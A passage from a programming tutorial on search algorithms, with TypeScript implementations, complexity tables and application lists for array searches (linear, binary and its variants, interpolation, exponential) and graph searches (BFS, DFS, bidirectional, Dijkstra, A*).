<figcaption>Search algorithm taxonomy showing array and graph search strategies with their complexity characteristics</figcaption>

</figure>

## Abstract

Search algorithms answer a fundamental question: _how do I find what I'm looking for?_ The answer depends on two factors: **data organization** and **search goal**.

<figure>

![The core mental model: data structure and goal determine algorithm choice](./the-core-mental-model-data-structure-and-goal-determine-algorithm-choice.svg)

<figcaption>The core mental model: data structure and goal determine algorithm choice</figcaption>

</figure>

**Core trade-offs to internalize:**

| Trade-off              | Left Choice              | Right Choice                       | When to pick right        |
| ---------------------- | ------------------------ | ---------------------------------- | ------------------------- |
| Preprocessing vs Query | Linear (no prep, O(n))   | Binary (O(n log n) prep, O(log n)) | Multiple queries          |
| Space vs Optimality    | DFS (O(depth) space)     | BFS (O(width) space)               | Need shortest path        |
| Guaranteed vs Average  | Binary (O(log n) always) | Interpolation (O(log log n) avg)   | Uniform data distribution |
| Uninformed vs Informed | Dijkstra (explores all)  | A\* (guided by heuristic)          | Good heuristic available  |

**Key insight:** The "best" algorithm is the one that exploits your data's structure. Sorted data enables binary search. Known goals enable heuristic guidance. Uniform distribution enables interpolation. The worst case is searching unstructured data for an unknown target—that's always O(n).

## Core Concepts

### Why These Trade-offs Exist

Every search algorithm makes a fundamental bargain. Understanding _why_ these trade-offs exist helps you choose correctly.

**Time vs Space:** Binary search achieves O(log n) by eliminating half the search space each step—but this only works if elements are sorted, meaning either O(n log n) preprocessing or maintaining a sorted structure on insert. Hash tables achieve O(1) average by trading O(n) space for direct addressing. The trade-off exists because faster access requires either more memory or more upfront organization.

**Preprocessing vs Query Time:** This trade-off optimizes for different access patterns. Linear search's O(n) query with zero preprocessing beats binary search for single queries (sorting costs O(n log n)). But for k queries, binary search wins when k × O(log n) + O(n log n) < k × O(n), which holds for roughly k > log n queries. Real systems make this choice constantly—databases build indexes (preprocessing) to speed queries.

**Completeness vs Optimality:** BFS (Breadth-First Search) explores level-by-level, guaranteeing the shortest path in unweighted graphs. DFS (Depth-First Search) explores depth-first, using O(depth) space vs BFS's O(width). BFS is _complete_ (finds a solution if one exists) and _optimal_ (finds shortest). DFS is complete but not optimal. The trade-off exists because shortest-path guarantees require tracking all paths at each distance level.

**Guaranteed vs Average Performance:** Binary search's O(log n) is _worst-case_—it never degrades. Interpolation search achieves O(log log n) _average_ on uniformly distributed data by guessing where the target likely is, but degrades to O(n) when the guess is wrong (skewed data). Average-case algorithms bet on data properties; worst-case algorithms make no assumptions.

### The Search Problem Taxonomy

Search problems vary along two axes: **data structure** and **search goal**.

| Data Structure | Algorithms                        | Key Constraint        |
| -------------- | --------------------------------- | --------------------- |
| Unsorted Array | Linear Search                     | No random access      |
| Sorted Array   | Binary, Jump, Interpolation, Exp. | Requires sorted order |
| Graph          | BFS, DFS, Dijkstra, A\*           | Edge relationships    |
| Hash Table     | Direct lookup                     | O(n) extra space      |
| String         | KMP, Boyer-Moore, Rabin-Karp      | Pattern matching      |

| Search Goal         | Best Algorithm(s)     | Why                                       |
| ------------------- | --------------------- | ----------------------------------------- |
| Exact element       | Binary (sorted), Hash | O(log n) or O(1)                          |
| All matches         | Linear + collect      | Must scan all                             |
| Shortest path (unw) | BFS                   | Level-order guarantees minimum hops       |
| Shortest path (w)   | Dijkstra, A\*         | Priority queue processes minimum distance |
| Any path            | DFS                   | Memory efficient, finds first path        |
| Cycle detection     | DFS + recursion stack | Back edge indicates cycle                 |

---

## Linear Search Algorithms

### 1. Linear Search (Sequential Search)

**Philosophy**: Check every element one by one until you find the target or reach the end.

```typescript collapse={10-33}
function linearSearch<T>(arr: T[], target: T): number {
  for (let i = 0; i < arr.length; i++) {
    if (arr[i] === target) {
      return i
    }
  }
  return -1 // Not found
}

// Variant: Find all occurrences
function linearSearchAll<T>(arr: T[], target: T): number[] {
  const indices: number[] = []
  for (let i = 0; i < arr.length; i++) {
    if (arr[i] === target) {
      indices.push(i)
    }
  }
  return indices
}

// Variant: With custom comparator
function linearSearchCustom<T>(arr: T[], predicate: (item: T) => boolean): number {
  for (let i = 0; i < arr.length; i++) {
    if (predicate(arr[i])) {
      return i
    }
  }
  return -1
}
```

| Property     | Value                       |
| ------------ | --------------------------- |
| Time         | O(n) worst/avg, O(1) best   |
| Space        | O(1)                        |
| Prerequisite | None (works on unsorted)    |
| Use case     | Small arrays, unsorted data |

**Optimizations**:

1. **Sentinel search**: Add target at the end to eliminate bounds checking
2. **Move-to-front**: Move found element to front for better subsequent searches
3. **Early termination**: For sorted arrays, stop when element > target

```typescript
// Sentinel optimization
function sentinelLinearSearch(arr: number[], target: number): number {
  const n = arr.length
  const last = arr[n - 1]
  arr[n - 1] = target // Place sentinel

  let i = 0
  while (arr[i] !== target) {
    i++
  }

  arr[n - 1] = last // Restore last element

  if (i < n - 1 || arr[n - 1] === target) {
    return i
  }
  return -1
}
```

**Practical applications**:

- **Small datasets**: When n < 100, the simplicity outweighs binary search overhead
- **Unsorted data**: When sorting cost (O(n log n)) exceeds search cost
- **Single search**: When you search once, sorting isn't worth it
- **Custom predicates**: Finding first element matching complex conditions
- **Linked lists**: No random access available, making binary search impossible
- **Database table scans**: When no index exists (full table scan)
- **Log file searching**: Searching through unsorted log entries
- **Configuration validation**: Checking for specific settings in config files

---

### 2. Jump Search (Block Search)

**Philosophy**: Jump ahead by fixed steps, then linear search within the block.

```typescript
function jumpSearch(arr: number[], target: number): number {
  const n = arr.length
  const blockSize = Math.floor(Math.sqrt(n))
  let step = blockSize
  let prev = 0

  // Jump to find the block
  while (arr[Math.min(step, n) - 1] < target) {
    prev = step
    step += blockSize
    if (prev >= n) return -1
  }

  // Linear search within the block
  while (arr[prev] < target) {
    prev++
    if (prev === Math.min(step, n)) return -1
  }

  if (arr[prev] === target) return prev
  return -1
}
```

| Property     | Value                                        |
| ------------ | -------------------------------------------- |
| Time         | O(√n)                                        |
| Space        | O(1)                                         |
| Prerequisite | Sorted array                                 |
| Use case     | When binary search is expensive (disk seeks) |

**Key insight**: Optimal jump size is √n. Fewer jumps than binary search, useful when backward jumps are costly.

**Practical applications**:

- **Disk-based searches**: Minimizing expensive disk seeks (sequential reads are cheaper than random access)
- **Large sorted files**: Log files, sorted database dumps where random access is slow
- **Embedded systems**: When division operations (required for binary search) are expensive
- **Cache-optimized searching**: Better cache locality than binary search for certain hardware
- **Network packet inspection**: Searching through ordered packet streams
- **Time-series data**: Searching through chronologically sorted sensor data

---

## Binary Search and Variations

### 3. Binary Search (Classic)

**Philosophy**: Divide the search space in half by comparing the middle element. Repeat on the appropriate half.

```typescript collapse={21-38}
// Iterative implementation
function binarySearch(arr: number[], target: number): number {
  let left = 0
  let right = arr.length - 1

  while (left <= right) {
    const mid = left + Math.floor((right - left) / 2)

    if (arr[mid] === target) {
      return mid
    } else if (arr[mid] < target) {
      left = mid + 1
    } else {
      right = mid - 1
    }
  }

  return -1 // Not found
}

// Recursive implementation
function binarySearchRecursive(
  arr: number[],
  target: number,
  left: number = 0,
  right: number = arr.length - 1,
): number {
  if (left > right) return -1

  const mid = left + Math.floor((right - left) / 2)

  if (arr[mid] === target) return mid
  if (arr[mid] < target) {
    return binarySearchRecursive(arr, target, mid + 1, right)
  }
  return binarySearchRecursive(arr, target, left, mid - 1)
}
```

| Property     | Value                              |
| ------------ | ---------------------------------- |
| Time         | O(log n)                           |
| Space        | O(1) iterative, O(log n) recursive |
| Prerequisite | Sorted array                       |
| Use case     | Large sorted datasets              |

**Critical implementation details**:

1. **Avoid integer overflow**: Use `left + (right - left) / 2` instead of `(left + right) / 2`
2. **Bounds**: Use `left <= right` not `left < right`
3. **Update carefully**: `left = mid + 1` and `right = mid - 1` (not `mid`)

**Common binary search bugs**:

```typescript
// ❌ WRONG: Integer overflow (in languages with fixed-size integers)
const mid = Math.floor((left + right) / 2)

// ✅ CORRECT
const mid = left + Math.floor((right - left) / 2)

// ❌ WRONG: Infinite loop when target not found
while (left < right) {
  // ...
  left = mid // or right = mid
}

// ✅ CORRECT
while (left <= right) {
  // ...
  left = mid + 1 // or right = mid - 1
}
```

**Practical applications**:

- **Database indexes**: B-tree and B+ tree searches in SQL databases
- **System libraries**: `bsearch()` in C stdlib, `Arrays.binarySearch()` in Java
- **Version control**: Finding the commit that introduced a bug ([git bisect](https://git-scm.com/docs/git-bisect))
- **Dictionary/spell checkers**: Looking up words in sorted dictionaries
- **File systems**: Searching directory entries in sorted file systems
- **Network routing tables**: IP address lookup in routing tables
- **E-commerce**: Price range searches in sorted product catalogs
- **Auto-complete**: Prefix matching in sorted suggestion lists

---

### 4. Binary Search Variations

#### A. Lower Bound (First Occurrence)

Find the first position where target can be inserted to maintain sorted order (or first occurrence).

```typescript
function lowerBound(arr: number[], target: number): number {
  let left = 0
  let right = arr.length

  while (left < right) {
    const mid = left + Math.floor((right - left) / 2)
    if (arr[mid] < target) {
      left = mid + 1
    } else {
      right = mid // Don't eliminate mid, it could be the answer
    }
  }

  return left
}

// Find first occurrence
function findFirstOccurrence(arr: number[], target: number): number {
  const idx = lowerBound(arr, target)
  if (idx < arr.length && arr[idx] === target) {
    return idx
  }
  return -1
}
```

#### B. Upper Bound (Last Occurrence + 1)

Find the first position where element is greater than target.

```typescript
function upperBound(arr: number[], target: number): number {
  let left = 0
  let right = arr.length

  while (left < right) {
    const mid = left + Math.floor((right - left) / 2)
    if (arr[mid] <= target) {
      left = mid + 1
    } else {
      right = mid
    }
  }

  return left
}

// Find last occurrence
function findLastOccurrence(arr: number[], target: number): number {
  const idx = upperBound(arr, target) - 1
  if (idx >= 0 && arr[idx] === target) {
    return idx
  }
  return -1
}

// Count occurrences in O(log n)
function countOccurrences(arr: number[], target: number): number {
  const first = lowerBound(arr, target)
  const last = upperBound(arr, target)
  return last - first
}
```

#### C. Search in Rotated Sorted Array

Handle arrays that are sorted but rotated at some pivot.

```typescript
function searchRotated(arr: number[], target: number): number {
  let left = 0
  let right = arr.length - 1

  while (left <= right) {
    const mid = left + Math.floor((right - left) / 2)

    if (arr[mid] === target) return mid

    // Determine which half is sorted
    if (arr[left] <= arr[mid]) {
      // Left half is sorted
      if (target >= arr[left] && target < arr[mid]) {
        right = mid - 1
      } else {
        left = mid + 1
      }
    } else {
      // Right half is sorted
      if (target > arr[mid] && target <= arr[right]) {
        left = mid + 1
      } else {
        right = mid - 1
      }
    }
  }

  return -1
}
```

**Practical applications**:

- **Range queries**: Finding all elements in [a, b] using lower and upper bounds
- **Database queries**: `WHERE value >= x AND value < y` in indexed columns
- **Time-series data**: Finding all events in a time range
- **Log analysis**: Finding log entries in a timestamp range
- **Load balancers**: Consistent hashing ring lookups (rotated array searches)
- **Circular buffers**: Searching in ring buffers with wrap-around

---

### 5. Interpolation Search

**Philosophy**: Like binary search, but guess the position based on value distribution (interpolation). Under the assumption of uniformly distributed data, interpolation search achieves [O(log log n) average-case performance](https://en.wikipedia.org/wiki/Interpolation_search).

```typescript
function interpolationSearch(arr: number[], target: number): number {
  let left = 0
  let right = arr.length - 1

  while (left <= right && target >= arr[left] && target <= arr[right]) {
    if (left === right) {
      return arr[left] === target ? left : -1
    }

    // Interpolate position
    const pos = left + Math.floor(((target - arr[left]) * (right - left)) / (arr[right] - arr[left]))

    if (arr[pos] === target) {
      return pos
    } else if (arr[pos] < target) {
      left = pos + 1
    } else {
      right = pos - 1
    }
  }

  return -1
}
```

| Property     | Value                                   |
| ------------ | --------------------------------------- |
| Time         | O(log log n) avg, O(n) worst            |
| Space        | O(1)                                    |
| Prerequisite | Sorted array, uniform distribution      |
| Use case     | Large uniformly distributed sorted data |

**When to use**: Data is uniformly distributed (phone book, dictionary). Can be much faster than binary search.

**Practical applications**:

- **Phone directories**: Uniformly distributed names (know 'M' is near the middle)
- **Dictionary lookups**: Word lookups where distribution is relatively uniform
- **Large numeric databases**: Evenly distributed numeric keys (employee IDs, timestamps)
- **IP address routing**: Searching through sorted IP ranges
- **Scientific datasets**: Uniformly sampled measurements
- **Geographic data**: Searching coordinates or uniformly distributed location codes

---

### 6. Exponential Search

**Philosophy**: Find the range where the element exists by exponentially increasing the bound, then binary search.

```typescript
function exponentialSearch(arr: number[], target: number): number {
  const n = arr.length

  // If target is at first position
  if (arr[0] === target) return 0

  // Find range for binary search by repeated doubling
  let bound = 1
  while (bound < n && arr[bound] < target) {
    bound *= 2
  }

  // Binary search in the found range [bound/2, min(bound, n-1)]
  const left = Math.floor(bound / 2)
  const right = Math.min(bound, n - 1)
  return binarySearchRange(arr, target, left, right)
}

function binarySearchRange(arr: number[], target: number, left: number, right: number): number {
  while (left <= right) {
    const mid = left + Math.floor((right - left) / 2)
    if (arr[mid] === target) return mid
    if (arr[mid] < target) left = mid + 1
    else right = mid - 1
  }
  return -1
}
```

| Property     | Value                           |
| ------------ | ------------------------------- |
| Time         | O(log n)                        |
| Space        | O(1)                            |
| Prerequisite | Sorted unbounded/infinite array |
| Use case     | Unbounded searches              |

**Key advantage**: Better than binary search when target is near the beginning (finds range in O(log k) where k is position).

**Practical applications**:

- **Infinite/unbounded lists**: Searching in streams or very large arrays where size is unknown
- **Version searches**: Finding the right version in a version control system
- **Cache hierarchies**: Searching through cache levels (L1, L2, L3, RAM, disk)
- **Network packet buffers**: Searching in dynamically growing buffers
- **Log files**: Searching recent logs where target is likely near the end
- **Pagination APIs**: Finding data in APIs with infinite scroll/pagination

---

## Graph Search Algorithms

Graphs represent relationships between entities. Search algorithms explore these relationships to find paths, connected components, or specific nodes.

### Graph Representation

```typescript
// Adjacency List (most common)
type Graph = Map<number, number[]>

function createGraph(edges: [number, number][]): Graph {
  const graph = new Map<number, number[]>()
  for (const [u, v] of edges) {
    if (!graph.has(u)) graph.set(u, [])
    if (!graph.has(v)) graph.set(v, [])
    graph.get(u)!.push(v)
    // For undirected graph, also add: graph.get(v)!.push(u)
  }
  return graph
}

// Example: Social network, web pages, road networks
```

---

### 7. Breadth-First Search (BFS)

**Philosophy**: Explore level by level - visit all neighbors before moving to the next level. Uses a queue (FIFO).

```typescript collapse={19-67}
function bfs(graph: Graph, start: number): void {
  const visited = new Set<number>()
  const queue: number[] = [start]
  visited.add(start)

  while (queue.length > 0) {
    const node = queue.shift()! // Dequeue
    console.log(node) // Process node

    for (const neighbor of graph.get(node) || []) {
      if (!visited.has(neighbor)) {
        visited.add(neighbor)
        queue.push(neighbor) // Enqueue
      }
    }
  }
}

// Find shortest path in unweighted graph
function bfsShortestPath(graph: Graph, start: number, end: number): number[] | null {
  const visited = new Set<number>()
  const queue: [number, number[]][] = [[start, [start]]]
  visited.add(start)

  while (queue.length > 0) {
    const [node, path] = queue.shift()!

    if (node === end) return path

    for (const neighbor of graph.get(node) || []) {
      if (!visited.has(neighbor)) {
        visited.add(neighbor)
        queue.push([neighbor, [...path, neighbor]])
      }
    }
  }

  return null // No path found
}

// Level-order traversal with distance tracking
function bfsWithDistance(graph: Graph, start: number): Map<number, number> {
  const distances = new Map<number, number>()
  const queue: [number, number][] = [[start, 0]]
  distances.set(start, 0)

  while (queue.length > 0) {
    const [node, dist] = queue.shift()!

    for (const neighbor of graph.get(node) || []) {
      if (!distances.has(neighbor)) {
        distances.set(neighbor, dist + 1)
        queue.push([neighbor, dist + 1])
      }
    }
  }

  return distances
}
```

| Property     | Value                              |
| ------------ | ---------------------------------- |
| Time         | O(V + E) where V=vertices, E=edges |
| Space        | O(V) for visited set + queue       |
| Completeness | Yes (finds solution if exists)     |
| Optimality   | Yes (shortest path in unweighted)  |
| Use case     | Shortest path, level-order         |

**Key characteristics**:

- **Guaranteed shortest path** in unweighted graphs
- **Level-by-level** exploration
- **Memory intensive** (stores entire frontier)
- **FIFO queue** data structure

**Practical applications**:

- **Social networks**: Finding friends within N degrees of separation (LinkedIn connections)
- **Web crawlers**: Crawling websites level by level (Google's PageRank)
- **GPS navigation**: Shortest path in unweighted road networks (equal segment lengths)
- **Network broadcasting**: Packet routing to all nodes (flooding algorithms)
- **Puzzle solving**: Shortest solution in games (Rubik's cube, sliding puzzles)
- **Garbage collection**: Tracing reachable objects in memory
- **Peer-to-peer networks**: Finding nodes in DHT (Distributed Hash Tables)
- **Recommendation systems**: Finding similar users/items within distance k
- **Image processing**: Flood fill algorithm (paint bucket tool)
- **Network analysis**: Finding connected components

---

### 8. Depth-First Search (DFS)

**Philosophy**: Explore as deep as possible before backtracking. Uses a stack (LIFO) or recursion.

```typescript collapse={17-39, 62-119}
// Recursive DFS
function dfsRecursive(graph: Graph, node: number, visited: Set<number> = new Set()): void {
  if (visited.has(node)) return

  visited.add(node)
  console.log(node) // Process node

  for (const neighbor of graph.get(node) || []) {
    dfsRecursive(graph, neighbor, visited)
  }
}

// Iterative DFS using explicit stack
function dfsIterative(graph: Graph, start: number): void {
  const visited = new Set<number>()
  const stack: number[] = [start]

  while (stack.length > 0) {
    const node = stack.pop()!

    if (visited.has(node)) continue

    visited.add(node)
    console.log(node) // Process node

    // Add neighbors in reverse order for same order as recursive
    const neighbors = graph.get(node) || []
    for (let i = neighbors.length - 1; i >= 0; i--) {
      if (!visited.has(neighbors[i])) {
        stack.push(neighbors[i])
      }
    }
  }
}

// Find path using DFS
function dfsPath(
  graph: Graph,
  start: number,
  end: number,
  visited: Set<number> = new Set(),
  path: number[] = [],
): number[] | null {
  visited.add(start)
  path.push(start)

  if (start === end) return path

  for (const neighbor of graph.get(start) || []) {
    if (!visited.has(neighbor)) {
      const result = dfsPath(graph, neighbor, end, visited, path)
      if (result) return result
    }
  }

  path.pop() // Backtrack
  return null
}

// Detect cycle in directed graph
function hasCycleDFS(graph: Graph): boolean {
  const visited = new Set<number>()
  const recStack = new Set<number>() // Nodes in current path

  function dfs(node: number): boolean {
    visited.add(node)
    recStack.add(node)

    for (const neighbor of graph.get(node) || []) {
      if (!visited.has(neighbor)) {
        if (dfs(neighbor)) return true
      } else if (recStack.has(neighbor)) {
        return true // Back edge found - cycle detected
      }
    }

    recStack.delete(node) // Remove from recursion stack
    return false
  }

  for (const node of graph.keys()) {
    if (!visited.has(node)) {
      if (dfs(node)) return true
    }
  }

  return false
}

// Topological sort using DFS
function topologicalSort(graph: Graph): number[] {
  const visited = new Set<number>()
  const stack: number[] = []

  function dfs(node: number): void {
    visited.add(node)

    for (const neighbor of graph.get(node) || []) {
      if (!visited.has(neighbor)) {
        dfs(neighbor)
      }
    }

    stack.push(node) // Add after visiting all descendants
  }

  for (const node of graph.keys()) {
    if (!visited.has(node)) {
      dfs(node)
    }
  }

  return stack.reverse()
}
```

| Property     | Value                                           |
| ------------ | ----------------------------------------------- |
| Time         | O(V + E)                                        |
| Space        | O(V) for visited + O(h) stack depth             |
| Completeness | Yes (in finite graphs)                          |
| Optimality   | No (may not find shortest)                      |
| Use case     | Cycle detection, topological sort, maze solving |

**Key characteristics**:

- **Memory efficient** compared to BFS (only stores path)
- **LIFO stack** data structure (or call stack with recursion)
- **Does not guarantee shortest path**
- **Better for decision trees** (backtracking problems)

**DFS vs BFS comparison**:

```
Tree structure:
        1
       / \
      2   3
     / \   \
    4   5   6

BFS order: 1, 2, 3, 4, 5, 6  (level by level)
DFS order: 1, 2, 4, 5, 3, 6  (deep first)

Memory at peak:
BFS: [1], [2,3], [3,4,5], [4,5,6], ... (width of tree)
DFS: [1,2,4], [1,2,5], [1,3,6], ...   (height of tree)
```

**Practical applications**:

- **Maze solving**: Finding any path through a maze (not necessarily shortest)
- **Cycle detection**: Detecting deadlocks in resource allocation graphs
- **Topological sorting**: Task scheduling with dependencies (build systems, course prerequisites)
- **Connected components**: Finding isolated subgraphs in social networks
- **Path finding**: Finding any valid path (not shortest) in games
- **Sudoku solvers**: Backtracking through possible solutions
- **Web crawling**: Deep crawling of website hierarchies
- **File system traversal**: Recursively listing all files in directories
- **Dependency resolution**: Package managers (npm, pip) resolving dependencies
- **Syntax analysis**: Compiler parsers traversing abstract syntax trees
- **Game AI**: Exploring game trees (minimax algorithm)

---

### 9. Bidirectional Search

**Philosophy**: Run BFS from both start and end simultaneously until they meet. Reduces search space.

```typescript
function bidirectionalSearch(graph: Graph, start: number, end: number): number[] | null {
  if (start === end) return [start]

  // BFS from start
  const visitedStart = new Map<number, number>([[start, -1]])
  const queueStart: number[] = [start]

  // BFS from end (for undirected graph or if we have reverse edges)
  const visitedEnd = new Map<number, number>([[end, -1]])
  const queueEnd: number[] = [end]

  while (queueStart.length > 0 || queueEnd.length > 0) {
    // Expand from start
    if (queueStart.length > 0) {
      const intersect = bfsStep(graph, queueStart, visitedStart, visitedEnd)
      if (intersect !== null) {
        return reconstructPath(visitedStart, visitedEnd, intersect)
      }
    }

    // Expand from end
    if (queueEnd.length > 0) {
      const intersect = bfsStep(graph, queueEnd, visitedEnd, visitedStart)
      if (intersect !== null) {
        return reconstructPath(visitedStart, visitedEnd, intersect)
      }
    }
  }

  return null // No path found
}

function bfsStep(
  graph: Graph,
  queue: number[],
  visited: Map<number, number>,
  otherVisited: Map<number, number>,
): number | null {
  const node = queue.shift()!

  for (const neighbor of graph.get(node) || []) {
    // Found intersection
    if (otherVisited.has(neighbor)) {
      return neighbor
    }

    if (!visited.has(neighbor)) {
      visited.set(neighbor, node)
      queue.push(neighbor)
    }
  }

  return null
}

function reconstructPath(
  visitedStart: Map<number, number>,
  visitedEnd: Map<number, number>,
  intersect: number,
): number[] {
  // Build path from start to intersect
  const pathStart: number[] = []
  let node: number | undefined = intersect
  while (node !== undefined) {
    pathStart.unshift(node)
    node = visitedStart.get(node)
    if (node === -1) break
  }

  // Build path from intersect to end
  const pathEnd: number[] = []
  node = visitedEnd.get(intersect)
  while (node !== undefined && node !== -1) {
    pathEnd.push(node)
    node = visitedEnd.get(node)
  }

  return [...pathStart, ...pathEnd]
}
```

| Property   | Value                                        |
| ---------- | -------------------------------------------- |
| Time       | O(b^(d/2)) where b=branching factor, d=depth |
| Space      | O(b^(d/2))                                   |
| Optimality | Yes (for unweighted graphs)                  |
| Use case   | When both start and end are known            |

**Key insight**: Reduces search space from O(b^d) to O(b^(d/2)). For b=10, d=6: reduces from 1,000,000 to 2,000 nodes.

**Practical applications**:

- **Social networks**: Finding connection path between two specific people
- **Route planning**: Finding shortest path when destination is known (GPS navigation)
- **Puzzle solving**: Solving from both initial and goal states
- **Word ladders**: Finding transformation path between two words (e.g., "COLD" → "WARM")
- **Wikipedia game**: Finding shortest link path between two articles

---

### 10. Dijkstra's Algorithm (Weighted Graph Search)

**Philosophy**: Find shortest path in weighted graph using a priority queue (greedy approach).

```typescript
interface Edge {
  to: number
  weight: number
}

type WeightedGraph = Map<number, Edge[]>

function dijkstra(graph: WeightedGraph, start: number): Map<number, number> {
  const distances = new Map<number, number>()
  const visited = new Set<number>()

  // Min-heap priority queue: [distance, node]
  const pq: [number, number][] = [[0, start]]
  distances.set(start, 0)

  while (pq.length > 0) {
    // Get node with minimum distance
    pq.sort((a, b) => a[0] - b[0])
    const [currentDist, node] = pq.shift()!

    if (visited.has(node)) continue
    visited.add(node)

    for (const { to: neighbor, weight } of graph.get(node) || []) {
      const newDist = currentDist + weight
      const oldDist = distances.get(neighbor) ?? Infinity

      if (newDist < oldDist) {
        distances.set(neighbor, newDist)
        pq.push([newDist, neighbor])
      }
    }
  }

  return distances
}

// Dijkstra with path reconstruction
function dijkstraWithPath(
  graph: WeightedGraph,
  start: number,
  end: number,
): { distance: number; path: number[] } | null {
  const distances = new Map<number, number>()
  const previous = new Map<number, number>()
  const visited = new Set<number>()
  const pq: [number, number][] = [[0, start]]

  distances.set(start, 0)

  while (pq.length > 0) {
    pq.sort((a, b) => a[0] - b[0])
    const [currentDist, node] = pq.shift()!

    if (node === end) {
      // Reconstruct path
      const path: number[] = []
      let current: number | undefined = end
      while (current !== undefined) {
        path.unshift(current)
        current = previous.get(current)
      }
      return { distance: currentDist, path }
    }

    if (visited.has(node)) continue
    visited.add(node)

    for (const { to: neighbor, weight } of graph.get(node) || []) {
      const newDist = currentDist + weight
      const oldDist = distances.get(neighbor) ?? Infinity

      if (newDist < oldDist) {
        distances.set(neighbor, newDist)
        previous.set(neighbor, node)
        pq.push([newDist, neighbor])
      }
    }
  }

  return null // No path found
}
```

| Property   | Value                            |
| ---------- | -------------------------------- |
| Time       | O((V + E) log V) with min-heap   |
| Space      | O(V)                             |
| Optimality | Yes (for non-negative weights)   |
| Use case   | Shortest path in weighted graphs |

**Critical constraint**: Does NOT work with negative edge weights (use Bellman-Ford instead). With a binary heap implementation, Dijkstra achieves [O((V + E) log V) time complexity](https://en.wikipedia.org/wiki/Dijkstra%27s_algorithm).

**Practical applications**:

- **GPS navigation**: Finding shortest route considering road lengths, traffic
- **Network routing**: [OSPF protocol](https://datatracker.ietf.org/doc/html/rfc2328) uses Dijkstra for shortest path routing
- **Flight planning**: Cheapest flights considering prices as weights
- **Telecommunications**: Optimal routing in communication networks
- **Robot motion planning**: Finding shortest path with movement costs
- **Game pathfinding**: Weighted terrain (walking through mud = higher cost)
- **Supply chain optimization**: Minimizing shipping costs
- **Resource allocation**: Optimal resource distribution in networks

---

### 11. A\* Search Algorithm (Heuristic Search)

**Philosophy**: Like Dijkstra, but uses a heuristic to guide search toward the goal. More efficient than Dijkstra when a good heuristic is available.

```typescript collapse={1-14, 68-155}
interface Point {
  x: number
  y: number
}

// Manhattan distance heuristic (for grid-based maps)
function manhattanDistance(a: Point, b: Point): number {
  return Math.abs(a.x - b.x) + Math.abs(a.y - b.y)
}

// Euclidean distance heuristic
function euclideanDistance(a: Point, b: Point): number {
  return Math.sqrt((a.x - b.x) ** 2 + (a.y - b.y) ** 2)
}

function astar(
  graph: WeightedGraph,
  start: number,
  end: number,
  heuristic: (node: number) => number,
): { distance: number; path: number[] } | null {
  const gScore = new Map<number, number>() // Actual cost from start
  const fScore = new Map<number, number>() // gScore + heuristic
  const previous = new Map<number, number>()
  const visited = new Set<number>()

  // Priority queue: [fScore, node]
  const pq: [number, number][] = [[heuristic(start), start]]

  gScore.set(start, 0)
  fScore.set(start, heuristic(start))

  while (pq.length > 0) {
    // Get node with lowest fScore
    pq.sort((a, b) => a[0] - b[0])
    const [, current] = pq.shift()!

    if (current === end) {
      // Reconstruct path
      const path: number[] = []
      let node: number | undefined = end
      while (node !== undefined) {
        path.unshift(node)
        node = previous.get(node)
      }
      return { distance: gScore.get(end)!, path }
    }

    if (visited.has(current)) continue
    visited.add(current)

    for (const { to: neighbor, weight } of graph.get(current) || []) {
      const tentativeG = gScore.get(current)! + weight

      if (tentativeG < (gScore.get(neighbor) ?? Infinity)) {
        previous.set(neighbor, current)
        gScore.set(neighbor, tentativeG)
        const f = tentativeG + heuristic(neighbor)
        fScore.set(neighbor, f)
        pq.push([f, neighbor])
      }
    }
  }

  return null
}

// Grid-based A* (common for games)
function astarGrid(
  grid: number[][], // 0 = walkable, 1 = obstacle
  start: Point,
  end: Point,
): Point[] | null {
  const rows = grid.length
  const cols = grid[0].length

  const toKey = (p: Point) => `${p.x},${p.y}`
  const fromKey = (key: string): Point => {
    const [x, y] = key.split(",").map(Number)
    return { x, y }
  }

  const gScore = new Map<string, number>()
  const fScore = new Map<string, number>()
  const previous = new Map<string, string>()
  const visited = new Set<string>()

  const startKey = toKey(start)
  const endKey = toKey(end)

  const pq: [number, string][] = [[manhattanDistance(start, end), startKey]]

  gScore.set(startKey, 0)
  fScore.set(startKey, manhattanDistance(start, end))

  const directions = [
    [0, 1],
    [1, 0],
    [0, -1],
    [-1, 0],
  ] // Right, Down, Left, Up

  while (pq.length > 0) {
    pq.sort((a, b) => a[0] - b[0])
    const [, currentKey] = pq.shift()!

    if (currentKey === endKey) {
      // Reconstruct path
      const path: Point[] = []
      let key: string | undefined = endKey
      while (key !== undefined) {
        path.unshift(fromKey(key))
        key = previous.get(key)
      }
      return path
    }

    if (visited.has(currentKey)) continue
    visited.add(currentKey)

    const current = fromKey(currentKey)

    for (const [dx, dy] of directions) {
      const neighbor = { x: current.x + dx, y: current.y + dy }

      // Check bounds and obstacles
      if (
        neighbor.x < 0 ||
        neighbor.x >= rows ||
        neighbor.y < 0 ||
        neighbor.y >= cols ||
        grid[neighbor.x][neighbor.y] === 1
      ) {
        continue
      }

      const neighborKey = toKey(neighbor)
      const tentativeG = gScore.get(currentKey)! + 1 // Assume weight 1

      if (tentativeG < (gScore.get(neighborKey) ?? Infinity)) {
        previous.set(neighborKey, currentKey)
        gScore.set(neighborKey, tentativeG)
        const h = manhattanDistance(neighbor, end)
        const f = tentativeG + h
        fScore.set(neighborKey, f)
        pq.push([f, neighborKey])
      }
    }
  }

  return null
}
```

| Property   | Value                             |
| ---------- | --------------------------------- |
| Time       | O(E) best case, exponential worst |
| Space      | O(V)                              |
| Optimality | Yes (with admissible heuristic)   |
| Use case   | Pathfinding with known goal       |

**Heuristic requirements** ([A\* optimality conditions](https://en.wikipedia.org/wiki/A*_search_algorithm)):

- **Admissible**: Never overestimates actual cost (h(n) ≤ actual cost)
- **Consistent**: h(n) ≤ cost(n, n') + h(n') (triangle inequality)

**A\* vs Dijkstra**:

```
Dijkstra explores in all directions:
        ○
      ○ ○ ○
    ○ ○ S ○ ○
      ○ ○ ○
        ○

A* with good heuristic focuses toward goal:
          G
        ○ ○
      ○ ○
    ○ S
```

**Practical applications**:

- **Video game pathfinding**: NPC movement, RTS unit pathfinding (StarCraft, Age of Empires)
- **Robotics**: Motion planning for autonomous robots, drones
- **Google Maps**: Route planning with traffic predictions (heuristic = straight-line distance)
- **Puzzle solving**: 15-puzzle, 8-puzzle (heuristic = Manhattan distance)
- **AI planning**: Optimal action sequences in state spaces
- **Network routing**: QoS routing with latency predictions
- **Warehouse automation**: Robot navigation in warehouses (Amazon fulfillment centers)
- **Game AI**: Chess engines (heuristic = board evaluation), pathfinding in open worlds

---

## Specialized Search Algorithms

### 12. Ternary Search (for Unimodal Functions)

